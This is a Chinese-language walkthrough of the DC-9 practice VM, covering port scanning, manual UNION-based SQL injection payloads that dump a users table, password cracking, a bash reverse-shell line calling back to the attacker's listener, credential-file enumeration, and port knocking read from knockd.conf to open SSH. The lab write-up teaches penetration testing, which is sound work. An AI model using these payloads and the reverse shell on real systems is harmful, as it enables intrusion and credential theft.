DC-9靶场渗透实战:从SQL注入到端口敲门绕过防火墙

发布时间:2026/7/7 5:12:47
DC-9靶场渗透实战:从SQL注入到端口敲门绕过防火墙 1. 项目概述一次完整的渗透测试实战复盘最近在复现一个经典的渗透测试靶场——DC-9。这个靶机很有意思它不像一些“直给”的靶机把漏洞直接摆在你面前而是模拟了一个相对真实的、有防护措施的环境。整个渗透路径从Web应用的SQL注入开始逐步深入最终需要利用一个名为“端口敲门”的技术来绕过防火墙限制获取最终权限。这个过程非常考验渗透测试者的信息收集、漏洞利用和绕过防御的综合能力。如果你正在学习渗透测试或者想了解如何在一个有防火墙的环境中“迂回前进”那么这次实战复盘应该能给你不少启发。我会手把手带你走一遍我当时的思路和操作并重点解释每个步骤背后的逻辑以及那些容易踩坑的地方。2. 环境准备与信息收集2.1 靶机环境搭建与网络配置DC-9靶机通常以虚拟机镜像如OVA格式的形式提供。我的做法是将其导入到VMware Workstation或VirtualBox中。这里有个关键点网络模式的选择。为了模拟真实的内网渗透场景我强烈建议将靶机的网络适配器设置为“NAT模式”或“仅主机模式”而不是桥接模式。这样你的攻击机通常是Kali Linux和靶机会处于同一个虚拟子网内你无法直接通过外部网络访问靶机的所有端口这恰恰是后续“端口敲门”技术存在的意义——有些服务被防火墙隐藏了需要特定“暗号”才能打开。启动靶机后第一件事是确定它的IP地址。由于靶机通常不会主动告诉你我们需要进行网络扫描。在Kali攻击机上使用netdiscover或arp-scan进行二层发现是最快的方式sudo netdiscover -r 192.168.1.0/24假设你的Kali IP是192.168.1.105扫描后发现一个新增的IP192.168.1.110这很可能就是DC-9靶机。接下来就是全面的信息收集阶段。2.2 全方位端口与服务探测信息收集是渗透测试的基石做得越细后面的路越顺。我习惯使用nmap进行多轮扫描由浅入深。第一轮快速扫描常用端口nmap -sS -T4 192.168.1.110-sS是TCP SYN扫描速度快且相对隐蔽-T4指定扫描速度。这次扫描结果可能会让你有点意外只开放了80端口HTTP服务和22端口SSH服务。一个渗透测试靶机只开两个常见端口这显然不合常理暗示着一定有其他服务被隐藏或过滤了。第二轮全面扫描与版本探测nmap -sS -sV -sC -O -p- 192.168.1.110-sV: 探测服务版本。-sC: 使用默认的Nmap脚本进行更深入的探测。-O: 尝试识别操作系统。-p-: 扫描所有65535个端口。这次扫描耗时较长但结果可能依然只有80和22端口。这强烈指向了防火墙的存在。防火墙规则可能丢弃了发往其他端口的SYN包导致nmap认为端口是关闭的filtered。此时一个经验丰富的测试者会想到是否存在“端口敲门”机制某些服务如SSH的管理端口、后台服务端口被配置为只有在接收到特定序列的TCP/UDP包后防火墙才会临时开放对该端口的访问。注意在实际测试中不要一上来就用-p-全端口扫描尤其是在时间有限或需要隐蔽的场景下。应先快速扫描常用端口-F根据结果再决定下一步。盲目全扫既低效又可能触发告警。3. Web应用漏洞挖掘与利用3.1 网站目录结构与功能分析既然80端口开放浏览器访问http://192.168.1.110。映入眼帘的是一个简单的搜索页面功能是搜索用户。尝试输入一些测试数据如一个单引号‘页面返回了数据库错误信息。这几乎明示了存在SQL注入漏洞。在深入利用之前我用gobuster或dirb对网站目录进行了一次爆破寻找后台或隐藏文件gobuster dir -u http://192.168.1.110 -w /usr/share/wordlists/dirb/common.txt结果可能发现了/admin、/config.php等路径但访问/admin需要登录这为我们后续利用SQL注入获取登录凭证提供了目标。3.2 SQL注入漏洞的确认与手动利用面对搜索框我首先进行漏洞确认输入admin- 返回SQL语法错误。确认存在注入点。判断字段数admin order by 5--逐步增加数字直到页面返回错误。假设order by 4正常order by 5错误说明当前查询结果有4列。判断回显点admin union select 1,2,3,4--。查看页面哪个位置显示了数字如2和3这些位置就可以用来回显我们想要的信息。接下来就是经典的信息获取流程获取数据库名admin union select 1,database(),3,4--获取表名admin union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schemadatabase()--获取列名针对感兴趣的表如usersadmin union select 1,group_concat(column_name),3,4 from information_schema.columns where table_nameusers--拖取数据admin union select 1,group_concat(username,:,password),3,4 from users--实操心得在联合查询注入时务必注意前后查询的字段数、数据类型必须一致。如果页面没有明显回显数字可以尝试将查询结果输出到页面的某个文本字段如搜索框的value属性里或者使用limit子句一行行查看避免数据过多导致显示混乱。另外遇到单引号被过滤或转义时可以考虑使用十六进制编码表名如0x7573657273代表users。3.3 凭证破解与后台登录从users表中拖出来的密码字段很可能是哈希值如MD5。使用hash-identifier工具识别一下如果是MD5就可以用john或在线彩虹表进行破解。echo “哈希值” hash.txt john --formatraw-md5 hash.txt --wordlist/usr/share/wordlists/rockyou.txt破解出明文密码后尝试用得到的用户名/密码组合登录之前发现的/admin页面。成功登录后台后往往能发现新的功能点比如文件上传、命令执行或者更多的数据这些都可能成为进一步的突破口。在DC-9中后台可能提供了一个“添加用户”或“执行命令”的功能这为我们获取一个反向Shell创造了条件。4. 权限提升与内部信息搜集4.1 获取初始Shell与立足点假设我们在后台找到了一个命令执行点可能隐藏在某个表单参数里如command我们可以利用它来获取一个反向Shell。在攻击机上监听nc -lvnp 4444然后在命令执行点输入反弹Shell命令。根据靶机环境命令可能有所不同一个常用的bash反向Shell是bash -c bash -i /dev/tcp/192.168.1.105/4444 01或者使用更稳定的方式如用python、perl、php等语言编写的一行反弹Shell代码。成功连接后我们就获得了一个低权限的Shell通常是www-data用户。4.2 系统内部枚举与敏感文件查找拿到Shell后不要急着乱跑先做系统的“体检”查看当前用户和权限id,whoami查看系统信息uname -a,cat /etc/issue,cat /etc/*release查看进程ps aux查看网络连接netstat -antp或ss -tulnp。这里非常关键你可能会发现靶机本地127.0.0.1或::1监听了一些在高位端口如8080,9000的服务但这些服务在外部扫描时是看不到的因为它们只绑定在本地回环地址上。查找敏感文件数据库配置文件find / -name “*.php” -type f 2/dev/null | xargs grep -l “mysql_connect\|mysqli\|PDO”密码文件cat /etc/passwd查看有哪些用户。历史命令cat ~/.bash_history但当前用户可能没有。SUID文件find / -perm -4000 -type f 2/dev/null查找有特殊权限的可执行文件。可写目录或文件find / -writable -type d 2/dev/null。在DC-9中内部枚举很可能发现一个只在本地监听的Web服务比如在127.0.0.1:8080。这就是我们下一步需要访问的目标但由于防火墙我们从外部无法直接连接。5. 端口敲门技术原理与实战绕过5.1 什么是端口敲门端口敲门是一种隐蔽的防火墙规则动态修改技术。服务端运行一个“敲门守护进程”knockd它持续监听特定的、看似关闭的端口。客户端按照预设的序列向这些端口发送数据包如TCP SYN包。knockd捕获到这个特定序列后会临时修改防火墙规则如iptables开放另一个真正提供服务的端口如SSH的2222端口允许客户端的IP地址访问一段时间。时间过后或连接关闭后规则自动恢复服务再次隐藏。它的好处是从外部扫描服务端口始终是关闭或过滤状态极大地减少了被自动化工具发现和攻击的风险。只有知道正确“敲门暗号”的人才能访问。5.2 在靶机中寻找敲门线索如何知道靶机使用了端口敲门以及敲门序列是什么这需要我们在已经获得的Shell里仔细搜寻检查进程ps aux | grep knock。可能会发现knockd进程。检查配置文件find / -name “knockd.conf” -type f 2/dev/nullfind / -name “*.conf” -type f 2/dev/null | xargs grep -l “knock”直接查看/etc/knockd.conf。检查日志文件/var/log/knockd.log可能记录敲门尝试。检查用户目录cat /home/用户名/.bash_history或cat /home/用户名/.knockrc可能包含用户手动敲门的历史命令。假设我们在/etc/knockd.conf中找到了如下配置[options] logfile /var/log/knockd.log [openSSH] sequence 7469,8475,9842 seq_timeout 5 command /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags syn [closeSSH] sequence 9842,8475,7469 seq_timeout 5 command /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags syn这个配置告诉我们开门序列是7469,8475,9842。使用TCP SYN包。成功后将允许我们的IP访问靶机的22端口SSH。还有一个关门序列用于访问后关闭通道。5.3 实施端口敲门与连接隐藏服务现在我们知道了序列就可以从我们的攻击机上“敲门”了。有多种工具可以实现最直接的是用knock命令Kali通常已安装knock 192.168.1.110 7469 8475 9842这条命令会依次向靶机的7469、8475、9842端口发送TCP SYN包。如果序列正确且在规定时间seq_timeout内完成靶机的knockd守护进程就会执行command即为我们当前的攻击机IP192.168.1.105在防火墙中临时添加一条规则允许访问22端口。敲门完成后需要立刻进行验证。因为规则可能是临时的。快速扫描22端口nmap -p 22 192.168.1.110。如果状态从filtered变为open恭喜你敲门成功。立即连接SSHssh username192.168.1.110。使用之前在Web阶段破解或找到的某个用户凭证进行登录。这一步非常关键因为你可能获得了比www-data权限更高的用户Shell比如一个普通用户john。注意事项端口敲门对时间非常敏感。seq_timeout定义了完成整个序列的最大时间窗口本例是5秒。所以最好使用knock命令它默认会快速连续发送包。如果手动用nc或nmap一个个端口去敲间隔时间太长会导致失败。另外敲门成功后连接动作要快防火墙规则可能在一段时间后或连接结束后自动撤销。6. 最终权限提升与总结反思6.1 利用内部服务与SUID提权通过SSH登录到新用户后我们再次进行信息枚举。现在可以访问之前发现的内部服务了比如127.0.0.1:8080。在本地使用端口转发将内部服务映射到攻击机# 在SSH会话中执行需要SSH服务支持 ssh -L 8080:127.0.0.1:8080 john192.168.1.110然后在攻击机的浏览器访问http://127.0.0.1:8080就能看到这个内部Web服务。这个服务可能包含新的漏洞或者直接暴露敏感信息。同时继续检查提权向量。再次运行find / -perm -4000 -type f 2/dev/null对比之前www-data用户看到的列表也许能以当前用户身份执行某些SUID文件。或者检查sudo -l查看当前用户能以root身份无需密码执行哪些命令。在DC-9中经典提权路径可能是利用一个具有SUID权限的、用root编译的本地程序比如一个自定义的备份脚本、文本编辑器等通过环境变量劫持或参数注入等方式最终获取root shell。6.2 完整攻击链复盘与防御思考回顾整个DC-9的渗透过程攻击链非常清晰外部侦察发现仅有80和22端口开放暗示存在防火墙/隐藏服务。Web突破通过前端的SQL注入漏洞获取后台管理员凭证。立足内部利用后台功能获取低权限Web Shell。内部侦察发现本地监听的高端口服务并找到端口敲门配置。绕过防御利用发现的敲门序列从外部临时打开防火墙对SSH的访问。权限升级通过SSH使用更高级用户登录访问内部服务并利用系统配置弱点如SUID程序完成提权。从防御角度看这个靶机暴露了多个问题输入验证不足前端搜索框未对用户输入进行过滤导致SQL注入。纵深防御缺失后台登录后缺乏二次验证或操作审计导致命令执行。敏感信息泄露端口敲门的配置文件权限设置不当被低权限用户读取。权限配置不当存在不安全的SUID程序。对于我们学习者而言DC-9的价值在于它串联了多个中级渗透测试知识点并引入了“端口敲门”这个相对少见的绕过技术。它告诉我们在面对防护时不要轻易放弃获取一个内部立足点后仔细的信息收集往往能发现意想不到的突破口。真正的渗透测试很多时候就是一场信息战的博弈。